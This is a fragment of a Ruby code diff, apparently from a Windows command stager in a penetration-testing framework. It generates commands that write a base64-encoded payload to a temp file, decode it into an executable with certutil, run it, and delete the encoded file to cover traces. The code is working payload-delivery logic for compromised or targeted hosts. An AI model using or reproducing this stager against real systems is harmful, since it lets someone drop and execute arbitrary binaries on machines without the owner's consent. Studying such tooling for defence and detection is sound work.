67
|
+
cmd << @cmd_start
|
|
68
|
+
cmd << p
|
|
69
|
+
cmd << @cmd_end
|
|
70
|
+
cmds << cmd
|
|
71
|
+
end
|
|
72
|
+
|
|
73
|
+
cmds
|
|
74
|
+
end
|
|
75
|
+
|
|
76
|
+
|
|
77
|
+
# Generate the commands that will decode the file we just created
|
|
78
|
+
# @param opts [Array] The options to generate the command line
|
|
79
|
+
# @return [Array] The certutil Base64 decoder part of the command line
|
|
80
|
+
def generate_cmds_decoder(opts)
|
|
81
|
+
|
|
82
|
+
cmds = []
|
|
83
|
+
cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe"
|
|
84
|
+
return cmds
|
|
85
|
+
end
|
|
86
|
+
|
|
87
|
+
|
|
88
|
+
# We override compress commands just to stick in a few extra commands
|
|
89
|
+
# last second..
|
|
90
|
+
# @param cmds [Array] Complete command line
|
|
91
|
+
# @param opts [Array] Extra options for command line generation
|
|
92
|
+
# @return [Array] The complete command line including cleanup
|
|
93
|
+
def compress_commands(cmds, opts)
|
|
94
|
+
# Make it all happen
|
|
95
|
+
cmds << "#{@tempdir}#{@var_decoded}.exe"
|
|
96
|
+
|
|
97
|
+
# Clean up after unless requested not to..
|
|
98
|
+
if (not opts[:nodelete])
|
|
99
|
+
cmds << "del #{@tempdir}#{@var_encoded}.b64"
|
|
100
|
+
# NOTE: We won't be able to delete the exe while it's in use.
|
|
101
|
+
end
|
|
102
|
+
|
|
103
|
+
super
|
|
104
|
+
end
|
|
105
|
+
|
|
106
|
+
# Windows uses & to concat strings
|
|
107
|
+
#
|
|
108
|
+
# @return [String] Concat operator
|
|
109
|
+
def cmd_concat_operator
|
|
110
|
+
" & "
|
|
111
|
+
end
|
|
112
|
+
|
|
113
|
+
end
|
|
114
|
+
end
|
|
115
|
+
end
|